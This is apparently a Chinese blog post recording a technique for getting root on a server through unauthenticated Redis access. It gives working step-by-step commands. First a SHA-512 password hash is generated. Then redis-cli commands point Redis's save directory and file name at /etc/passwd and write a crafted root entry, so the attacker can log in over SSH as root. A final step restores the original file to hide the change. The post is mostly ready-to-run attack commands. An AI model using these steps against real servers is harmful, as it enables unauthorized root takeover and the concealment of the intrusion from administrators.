美文网首页
redis未授权访问写/etc/passwd

redis未授权访问写/etc/passwd

作者: Instu | 来源:发表于2020-04-24 15:37 被阅读0次

    学到个redis未授权访问getshell的新技巧,记录一下。

    前提条件

    • redis以root身份运行
    • 目标系统允许root用户远程登录

    原理

    • 若/etc/passwd和/etc/shadow中同时存在密码,系统会使用/etc/passwd中的密码进行验证
    • /etc/passwd-是/etc/passwd的备份,成功登录系统后,通过替换/etc/passwd-文件,可以恢复root用户的原密码

    利用过程

    1. 首先生成一串密码为YourNewPasswd%1024的密文
    root@kali:~# python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
    $6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
    
    1. 接下来写入/etc/passwd
    redis-cli -h 192.168.80.147
    config set dir /etc/
    config set dbfilename passwd
    SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
    save
    
    1. 写入完成后,使用root/YourNewPasswd%1024可成功连接ssh
    2. 最后再替换下/etc/passwd-,就又恢复成root用户的原密码了
    [root@localhost ~]# cp /etc/passwd- /etc/passwd
    
    image.png

    参考

    https://www.freebuf.com/vuls/148758.html

    相关文章

      网友评论

          本文标题:redis未授权访问写/etc/passwd

          本文链接:https://www.haomeiwen.com/subject/moexwhtx.html